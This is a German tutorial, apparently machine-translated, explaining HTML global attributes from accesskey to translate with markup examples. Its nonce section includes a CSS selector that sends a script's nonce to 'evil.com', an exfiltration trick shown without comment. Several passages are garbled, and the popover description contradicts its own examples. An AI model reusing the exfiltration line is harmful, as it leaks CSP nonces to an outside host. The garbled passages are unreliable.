Globale Attribute können für jedes HTML-Element angegeben werden, auch für solche, die nicht im Standard angegeben sind. Dies bedeutet, dass alle nicht standardmäßigen Elemente diese Attribute zulassen müssen, auch wenn die Verwendung dieser Elemente dazu führt, dass das Dokument nicht mehr HTML-kompatibel ist.
accesskey
Das accesskey-Attribut weist einem HTML-Element eine Tastenkombination zu, sodass Benutzer schnell auf das Element zugreifen oder es aktivieren können, indem sie die angegebene Taste in Kombination mit der Taste drücken Alt (oder Ctrl auf dem Mac). Nicht zur Verwendung empfohlen.
<p>If you need to relax, press the <b>S</b>tress reliever!</p> <button accesskey="s">Stress reliever</button>
autocapitalize
Das autocapitalize-Attribut Steuert das automatische Großschreibungsverhalten für Eingabeelemente und Elemente contenteditable. Es kann installiert werden on oder off, oder auf spezifischere Werte wie z words, sentences oder characters, um das gewünschte Großschreibungsverhalten zu ermitteln. off oder none – es gibt keine Konvertierung der Buchstaben, sie bleiben standardmäßig alle in Kleinbuchstaben. on oder sentences – der erste Buchstabe jedes Satzes muss groß geschrieben werden, die restlichen Buchstaben bleiben standardmäßig kleingeschrieben. words – der erste Buchstabe jedes Wortes in einem Satz muss groß geschrieben werden, die restlichen Buchstaben bleiben standardmäßig kleingeschrieben. characters – alle Buchstaben sollten standardmäßig großgeschrieben werden. Funktioniert nicht in Safari
<p><input type="text" autocapitalize="off" placeholder="off"></p> <p><input type="text" autocapitalize="sentences" placeholder="sentences"></p> <p><input type="text" autocapitalize="words" placeholder="words"></p> <p><input type="text" autocapitalize="characters" placeholder="characters"></p>
autofocus
Das autofocus-Attribut, gibt bei Anwendung auf ein Formularelement an, dass das Element beim Laden der Seite automatisch den Fokus erhalten soll. Dies ist besonders nützlich für Eingabefelder, bei denen vom Benutzer eine sofortige Eingabe erwartet wird, wie z. B. Suchfelder.
contenteditable
Das contenteditable-Attribut bestimmt, ob der Inhalt des Elements vom Benutzer bearbeitet werden kann. Wenn es auf „true“ gesetzt ist, wird das Element bearbeitbar, sodass Benutzer seinen Inhalt direkt im Browser ändern können.
class
Das class-Attribut dies ist eine durch Leerzeichen getrennte Liste von Registern der abhängigen Klassen des Elements. Klassen ermöglichen CSS und Javascript die Auswahl und den Zugriff mithilfe von Klassenselektoren oder Funktionen wie Methoden DOM document.getElementsByClassName. Entwickler verwenden ständig das class-Attribut. Dies erleichtert nicht nur das Styling, sondern hilft Ihnen auch dabei, Ihren Code besser zu organisieren und ihn einfacher zu warten.
dir
Das dir-Attribut gibt die Textrichtung für den Inhalt des Elements an. Es kann eingestellt werden ltr (von links nach rechts) oder rtl (von rechts nach links). Dieses Attribut ist besonders wichtig für Sprachen, die von rechts nach links geschrieben werden, wie zum Beispiel Arabisch und Hebräisch.
<p dir="ltr">Ein Beispiel für einen deutschen Text mit der richtigen Richtung.</p> <p dir="rtl">Ein Beispiel für einen deutschen Text mit der falschen Richtung.</p>
dragggable
Das draggable-Attribut bestimmt, ob der Benutzer ein Element ziehen kann. Wenn es auf „true“ gesetzt ist, wird das Element ziehbar, sodass Benutzer es innerhalb einer Seite oder zwischen verschiedenen Seiten oder Anwendungen verschieben können. true – ermöglicht das Ziehen von Elementen. false – deaktiviert das Ziehen des Elements. auto – legt das Standardverhalten des Browsers fest.
<head>
<meta charset="utf-8">
<title>draggable</title>
<style>
.trash {
border: 1px solid #929292; /* Rahmenoptionen */
background: url(/example/image/trash.png) no-repeat 50% 50%; /* Hintergrundbild */
height: 200px; /* Flächenhöhe */
padding: 10px; /* Abstand vom Bild zum Rahmen */
text-align: center; /* Zentrierte Ausrichtung */
margin-bottom: 1rem; /* Platz unten */
}
.trash img {
height: 100%; /* Bildhöhe */
}
img {
cursor: move; /* Ändern des Cursortyps */
}
</style>
<script>
function allowDrop(e) {
e.preventDefault();
}
function drag(e) {
e.dataTransfer.setData("text", e.target.id);
}
function drop(e) {
e.preventDefault();
var data = e.dataTransfer.getData("text");
e.target.appendChild(document.getElementById(data));
}
</script>
</head>
<body>
<p>Verschieben Sie das Bild in ein Rechteck.</p>
<div class="trash" ondrop="drop(event)" ondragover="allowDrop(event)"></div>
<img src="image/fig.jpg" draggable="true" alt="" ondragstart="drag(event)" id="photo">
</body>
enterkeyhint
Das enterkeyhint-Attribut gibt dem Browser einen Hinweis auf die erwartete Aktion, wenn der Benutzer eine Taste drückt Enter bei der Interaktion mit einem Eingabeelement. Mögliche Werte: enter, done, go, next, previous, search и send. Das enterkeyhint-Attribut ermöglicht es Ihnen, das Aussehen und Verhalten der Eingabetaste auf der virtuellen Tastatur mobiler Geräte zu ändern. Dadurch können Sie das Verhalten von Formularfeldern ändern und dem Benutzer einen Hinweis darauf geben, was ihn bei der Verwendung der Tastatur erwartet. Wenn enterkeyhint-Attribut wird keine Angabe gemacht, wählt der Browser selbständig den am besten geeigneten Button-Typ aus.
<!DOCTYPE html>
<html lang="ru">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>enterkeyhint</title>
</head>
<body>
<form>
<p><input type="search" autofocus placeholder="Durchsuchen Sie die Website" enterkeyhint="search">
<button>Finden</button></p>
</form>
</body>
</html>
hidden
Das hidden-Attribut — dies ist ein boolesches Attribut, das, sofern vorhanden, das Element vor dem Benutzer verbirgt. Dieses Attribut kann zum Speichern von Informationen verwendet werden, die nicht angezeigt werden sollen, oder zum bedingten Ausblenden von Elementen basierend auf Benutzerinteraktionen. Eine Möglichkeit, ein Element in Fällen auszublenden, in denen es nicht geeignet ist opacity oder visibility. Im Gegensatz zu den beiden anderen Methoden wird diese direkt im HTML-Markup angewendet. Es ist keine bewährte Methode, das Erscheinungsbild einer Seite durch Markup zu beeinflussen, aber manchmal ist es genau das, was Sie wollen. Im Wesentlichen ist dies der Fall display: none — so wird es in Browserstilen beschrieben.
<p hidden> Dieser Text wird auf der Seite nicht sichtbar sein. Obwohl das Element im Markup sein wird </p>
inert
Das inert-Attribut, wenn vorhanden, wird verhindert, dass das Element und seine untergeordneten Elemente Benutzereingabeereignisse empfangen oder fokussiert werden. Dies kann nützlich sein, um modale Dialoge oder andere Schnittstellenelemente zu erstellen, mit denen nicht interagiert werden soll, bis eine bestimmte Bedingung erfüllt ist. inert entfernt ein Element aus der Navigationsreihenfolge und dem Barrierefreiheitsbaum. Das bedeutet, dass Sie nicht darauf klicken, sich darauf konzentrieren, Daten eingeben und es nicht über eine Seitensuche finden können. Screenreader lesen den Inhalt solcher Elemente nicht vor und deklarieren keine Rollen. Dies ähnelt dem Verhalten eines anderen globalen Attributs disabled, aber es gibt einen Unterschied zwischen ihnen, — inert können jedem Tag oder seiner Gruppe zugewiesen werden. inert hat standardmäßig keine Stile. Allerdings ist Text innerhalb eines Blocks oder Elements mit inert kann nicht unterschieden werden, aber im Fall disabled kann. Wenn eine Schaltfläche über benutzerdefinierte Hover- und Fokusstile verfügt, dann ist die Schaltfläche mit inert
wird sie im Gegensatz dazu ohne zusätzlichen Aufwand ignorieren disabled.
[inert], [inert] * {
opacity: 0.7;
pointer-events: none;
cursor: default;
user-select: none;
}
<form inert>
<fieldset>
<legend>Gültigkeitsdauer der Lizenz</legend>
<label for="start">Startdatum</label>
<input type="date" id="start">
<label for="end">Enddatum</label>
<input type="date" id="end">
<button>Anwenden</button>
</fieldset>
</form>
inputmode
Das inputmode-Attribut gibt dem Browser einen Hinweis auf die Art der Daten, die der Benutzer voraussichtlich in ein Formularsteuerelement eingeben wird, und beeinflusst so das Layout der virtuellen Tastatur. Mögliche Werte: text, decimal, numeric, tel, email, url und search.Das inputmode-Attribut teilt dem Browser auf Geräten mit einer Bildschirmtastatur mit!!! welcher Zeichensatz angezeigt werden soll, wenn Daten in ein bestimmtes Feld eingegeben werden. Für Elemente angegeben input oder textarea.
<input type="text" inputmode="numeric"> <textarea inputmode="text"></textarea>
is
Das is-Attribut Wird in Verbindung mit benutzerdefinierten Elementen verwendet und ermöglicht es Entwicklern, neue HTML-Elemente mit benutzerdefiniertem Verhalten und Eigenschaften zu erstellen. Es gibt den Namen der benutzerdefinierten Elementdefinition an, von der das Element sein Verhalten erben soll. Funktioniert nicht in Safari
customElements.define('word-count', WordCount, { extends: 'p' });
<p is="word-count"></p>
itemid
Das itemid-Attribut, in Kombination mit verwendet Microdata API, weist einem Element auf einer Seite eine eindeutige Kennung zu, sodass Entwickler maschinenlesbare strukturierte Daten erstellen können. Das itemid-Attribut definiert eine eindeutige globale Elementkennung für Mikrodaten. Gilt nur für Elemente, für die gleichzeitig Attribute festgelegt sind itemscope und itemtype. Außerdem, itemid die Verwendung mit Wörterbüchern, die globale Bezeichner unterstützen, ist akzeptabel. Zum Beispiel für ein Wörterbuch http://schema.org/Book, das Bücher beschreibt, kann als Identifikator dienen ISBN — eindeutige internationale Buchausgabenummer.
<body> <div itemscope itemtype="http://schema.org/Book" itemid="isbn:978-5-17-075250-8"> <h2 itemprop="name">Game of Thrones</h2> <div itemprop="author">Georg Martin</div> <div itemprop="bookFormat">Gebundene Ausgabe</div> <div itemprop="description">Eine epische, eindringliche Saga über die Welt der Sieben Königreiche.</div> </div> </body>
itemprop
Das itemprop-Attribut wird zusammen mit Mikrodaten verwendet, um die Eigenschaft eines Elements zu bestimmen, sodass Suchmaschinen und andere Tools strukturierte Daten aus einer Webseite extrahieren und verarbeiten können. Das itemprop-Attribut wird verwendet, um einem Element Mikrodaten-Wörterbucheigenschaften hinzuzufügen. Der Eigenschaftsname wird durch den Wert bestimmt itemprop, und der Wert der Eigenschaft wird durch den Inhalt des HTML-Elements bestimmt, beispielsweise den Text, der sich innerhalb des Elements befindet.
<body>
<div itemscope itemtype="http://schema.org/Movie">
<div>
<h1 itemprop="name">Wolkenatlas </h1>
<span itemprop="alternativeHeadline">Cloud Atlas</span>
<img src="464484.jpg" alt="Wolkenatlas (Cloud Atlas)" itemprop="image">
</div>
<span>
<a itemprop="director" href="/name/23330/">Lana Wachowski</a>
</span>
<span>
<a itemprop="producer" href="/name/26437/">Stefan Arndt</a>
</span>
<span>
<a itemprop="musicBy" href="/name/312865/">Reinhold Heil</a>
</span>
<span>
<a itemprop="genre" href="/level/10/m_act%5Bgenre%5D/2/">Fantasie</a>
</span>
<span class="title">Mit:</span>
<div>
<a itemprop="actor" href="/name/9144/">Tom Hanks</a>
<a itemprop="actor" href="/name/1179/">Halle Berry</a>
<a itemprop="actor" href="/name/38704/">Jim Broadbent</a>
</div>
<span itemprop="description">Sechs Geschichten – fünf Reinkarnationen, die zu unterschiedlichen Zeiten stattfinden und eng miteinander verbunden sind…</span>
</div>
</body>
<div itemscope itemtype="http://schema.org/Event">
<div itemprop="name">Spinal Tap</div>
<span itemprop="description">Eine der größten Bands aller Zeiten trifft sich zu einer unvergesslichen zweitägigen Show.</span> Das Konzert findet statt
<time itemprop="startDate" datetime="2011-05-08T19:30">8. Mai в 19:30</time>
</div>
<div itemscope itemtype="http://schema.org/Offer">
<span itemprop="name">Blend-O-Matic</span> <span itemprop="price">$19.95</span>
<span itemprop="availability">Bereits im Verkauf!</span>
</div>
<div itemscope itemtype="http://schema.org/Offer">
<span itemprop="name">Blend-O-Matic</span>
<span itemprop="price">$19.95</span>
<link itemprop="availability" href="http://schema.org/InStock"/>Bereits im Verkauf!
</div>
<div itemscope itemtype="http://schema.org/Person">
<a href="alice.html" itemprop="url">Alice Jones</a>
</div>
<div itemscope itemtype="http://schema.org/Person">
<a href="bob.html" itemprop="url">Bob Smith</a>
</div>
Vollständige Liste der Entitätstypen http://schema.org/docs/full.html
itemref
Das itemref-Attribut wird in Mikrodaten verwendet, um die Beziehung zwischen einem Element und zu bestimmen itemscope-Attribut und andere Elemente, die Attribute enthalten itemprop, die zum selben Element gehören, aber keine Nachkommen des Elements sind itemscope. Eigenschaften, die keine untergeordneten Elemente des Elements mit dem Attribut sind itemscope, kann über ein Attribut einem Element zugeordnet werden itemref. Der Wert dieses Attributs gibt eine Liste von Elementbezeichnern an, die an anderer Stelle im Dokument zusätzliche Eigenschaften enthalten. Das itemref-Attribut kann nur für Elemente angegeben werden, die das Attribut enthalten itemscope. Das itemref-Attribut nicht Teil des Mikrodatenmodells. Dabei handelt es sich lediglich um ein syntaktisches Konstrukt, das Autoren dabei hilft, Anmerkungen zu einer Seite hinzuzufügen, die keine praktische Baumstruktur enthält.
<div itemscope itemtype="http://schema.org/Product" itemref="name thumb description"></div>
itemscope
Das itemscope-Attribut wird mit Mikrodaten verwendet, um ein neues Element zu definieren und so einen Bereich für Attribute zu schaffen itemprop, um einem Element Eigenschaften zuzuordnen. Das itemscope-Attribut gibt den Umfang des Wörterbuchs in der Datenstruktur an. Funktioniert normalerweise in Verbindung mit dem itemtype-Attribut und legt Grenzwerte fest itemtype wird aktiv sein.
itemtype
Das itemtype-Attribut wird in Mikrodaten verwendet, um ein Vokabular für ein Element zu definieren und den Kontext für Eigenschaften bereitzustellen, die mithilfe von Attributen definiert werden itemprop. Das itemtype-Attribut Gibt die Adresse des Wörterbuchs an, das zum Definieren der Eigenschaften eines Elements in der Datenstruktur verwendet wird. Yandex und Google unterstützen den Markup-Standard Schema.org, dementsprechend als Wert itemtype die Adresse des Wörterbuchs auf dieser Website ist angegeben. Um beispielsweise Organisationen zu kennzeichnen, wird der Wert verwendet http://schema.org/Organization.
lang
Das lang-Attribut identifiziert die Sprache des Inhalts eines Elements, verbessert die Zugänglichkeit, ermöglicht Screenreadern die Verwendung korrekter Ausspracheregeln und hilft bei der Übersetzung.
<p>This paragraph is English, but the language is not specifically defined.</p> <p lang="en-GB">This paragraph is defined as British English.</p> <p lang="fr">Ce paragraphe est défini en français.</p>
nonce
Das nonce-Attribut wird in der Inhaltssicherheitsrichtlinie verwendet (CSP), um die Ausführung bestimmter Inline-Skripte oder -Stile zu ermöglichen und so die Sicherheit zu erhöhen, indem die Ausführung unbefugten Codes verhindert wird.
<meta http-equiv=Content-Security-Policy content="script-src-elem 'nonce-aaBB'">
script[nonce~="whatever"] {
background: url("https://evil.com/nonce?whatever");
}
Bei Projekten PHP 7+ zu erzeugen ‘nonce’ Sie können die Funktion verwenden random_bytes(), das Ergebnis muss verarbeitet werden base64_encode() oder bin2hex():
$nonce = base64_encode( random_bytes(128/8) ); // base64-encoded string like: 4IG4ejFA+2r4uVTo5ZQ1hw== $nonce = bin2hex( random_bytes(128/8) ); // Hex string like: 8153dd199525aed568a27dfd31038e4b
popover
Das popover-Attribut ist kein globales Standardattribut in HTML. Es kann sich auf ein benutzerdefiniertes Attribut beziehen, das in bestimmten Bibliotheken oder Frameworks verwendet wird, um zusätzliche Informationen anzuzeigen, wenn Sie mit der Maus über ein Element fahren oder darauf klicken.
<button popovertarget="my-popover">
Popover anzeigen
</button>
<div id="my-popover" popover>
<p>Ich bin ein einfacher, aber cooler Popover, der mit demselben Knopf geschlossen werden kann</p>
</div>
<button popovertarget="my-popover" popovertargetaction="show">
Popover anzeigen
</button>
<div id="my-popover" popover>
<button popovertarget="my-popover" popovertargetaction="hide">
<span aria-hidden="true">❌</span>
<span class="sr-only">Schließen</span>
</button>
<p>Ich bin ein Popover, das nicht mit derselben Schaltfläche geschlossen werden kann</p>
</div>
Das popover-Attribut es gibt zwei Bedeutungen: auto — Standardwert, muss nicht explizit angegeben werden. Es wird jeweils nur einer angezeigt. Das Popover kann durch Klicken außerhalb des Elements geschlossen werden; manual — Sie können mehrere gleichzeitig anzeigen. Das Popover kann nicht durch Klicken außerhalb des Popovers geschlossen werden.
<button popovertarget="popover-auto"> <code>popover="auto"</code> </button> Tooltip <div id="popover-auto" popover="auto"> <p>Ich schließe andere Popups. Ich schließe mich leicht.</p> </div>
<button popovertarget="popover-manual"> <code>popover="manual"</code> </button> Tooltip <div id="popover-manual" popover="manual"> <p>Ich schließe andere nicht aus. Ohne Knopf schließe ich nicht.</p> </div>
spellcheck
Das spellcheck-Attribut legt fest, ob der Inhalt des Elements vom Browser auf Rechtschreib- und Grammatikfehler überprüft werden soll. Weist den Browser an, zu prüfen, ob die Rechtschreibung und Grammatik im Text korrekt sind. Obwohl das Attribut auf fast alle Elemente gesetzt werden kann, ist der Effekt nur bei Formularfeldern spürbar (input, textarea), sowie bearbeitbare Elemente (sie haben das Attribut gesetzt contenteditable). Hängt von den Browsereinstellungen ab.
<p contenteditable="true" spellcheck="false"> Firefox deaktiviert die Rechtschreibprüfung für bearbeitbare Felder (bei denen das contenteditable-Attribut auf gesetzt ist). </p>
style
Das style-Attribut wird verwendet, um Inline-CSS-Stile direkt auf ein HTML-Element anzuwenden, sodass Sie den Stil schnell und präzise ändern können, ohne dass ein externes Stylesheet erforderlich ist. Gilt für Tags: a, abbr, acronym, address, applet, area, b, basefont, bdo bgsound, big, blockquote, body, br, button, caption, center, cite, code, col, colgroup, dd, del, dfn, dir, div, dl, dt, em, embed, fieldset, font, form, frame, h1, h2, h3, h4, h5, h6, hr, i, iframe, img, input, ins, isindex, kbd, label, legend, li, link, map, marquee, menu, nobr, object, ol, option, p, plaintext, pre, q, s, samp, select, small, span, strike, strong, sub, sup, table, tbody, td, textarea, tfoot, th, thead, tr, tt, u, ul, var, wbr, xmp.
<p><span style="color: red; font-size: 2em">L</span>orem ipsum dolor sit amet, consectetuer adipiscing elit, sed diem nonummy nibh euismod tincidunt ut lacreet dolore magna aliguam erat volutpat.</p> <div style="width: 50%;"></div>
tabindex
Das tabindex-Attribut definiert die Reihenfolge, in der ein Element den Fokus erhält, wenn der Benutzer mit einer Taste auf der Seite navigiert Tab. tabindex so genannt wegen des Schlüssels Tab, die sich zwischen interaktiven Elementen bewegen. Diese Aktion wird oft auch „Tab“ oder „Tab“ genannt. Bedeutung tabindex — jede negative oder positive ganze Zahl. Zum Beispiel, 0, 1 oder -1. 0 — Element in sequenzieller Navigations- (oder Fokus-)Reihenfolge, aber die Reihenfolge selbst wird vom Browser bestimmt. 1 oder eine andere positive Zahl – Element in der Navigationsreihenfolge ohne Beteiligung des Browsers. Je höher der Wert, desto höher ist die Ordnung des Elements. -1 oder eine andere negative Zahl – das Element kann angeklickt werden, fällt aber nicht in die sequentielle Navigationsreihenfolge. Das heißt, Sie können sich nicht über die Tastatur darauf konzentrieren, auch wenn dies vorher möglich war. Standardmäßig haben alle Tags in der Navigationsreihenfolge den Wert 0. Dies a oder area mit Attribut href, button, input, select, textarea, erstes Element summary innen details, iframe und object.
Wenn mehrere Elemente die gleichen positiven Werte haben, werden sie im Code der Reihe nach aufgelistet. In diesem Beispiel liegt der Fokus zunächst auf dem Link „Whiskers“, dann auf den „Paws“ und dann auf dem „Tail“.
<a href="#mustache" tabindex="1">Whiskers</a> <a href="#paws" tabindex="1">Paws</a> <a href="#tail" tabindex="1">Tail</a>
Jedes Element unterstützt den Fokus, sofern vorhanden tabindex
<ul>
<li tabindex="1">Eins</li>
<li tabindex="0">Null</li>
<li tabindex="2">Zwei</li>
<li tabindex="-1">Minus eins</li>
</ul>
<style>
li { cursor: pointer; }
:focus { outline: 1px dashed green; }
</style>
title
Das title-Attribut bietet zusätzliche Informationen zu einem Element, die normalerweise als Tooltip angezeigt werden, wenn Sie mit der Maus über das Element fahren. Fügt einen Tooltip mit Text hinzu, der angezeigt wird, wenn Sie mit der Maus über ein Element fahren. Das Aussehen eines solchen Tooltips hängt von den Browser- und Betriebssystemeinstellungen ab und kann nicht direkt über HTML-Code oder -Stile geändert werden. Das alt-Attribut wird für Bilder im HTML-Tag verwendet img. Es enthält alternativen Text, der angezeigt wird, wenn das Bild aus irgendeinem Grund nicht geladen wird.
<p title="Hier bin ich!">Tooltip-Beispiel</p> <img alt="Die Katze steht auf zwei Beinen und schaut aus dem Fenster" src="link_to_image.jpg">
translate
Das translate-Attribut gibt an, ob der Inhalt eines Elements übersetzt werden soll, wenn die Seite lokalisiert wird, was eine bessere Kontrolle über den Übersetzungsprozess ermöglicht. Das translate-Attribut bestimmt, ob der Inhalt eines bestimmten Elements übersetzt werden kann oder nicht. Die Übersetzung kann durch verschiedene automatisierte Dienste erfolgen, beispielsweise durch Google Translate.
<p translate="no">Dies darf nicht übersetzt werden!</p> <p>Dieser Text kann in jede Sprache übersetzt werden.</p>
Das Attribut wird von Übersetzungssystemen berücksichtigt
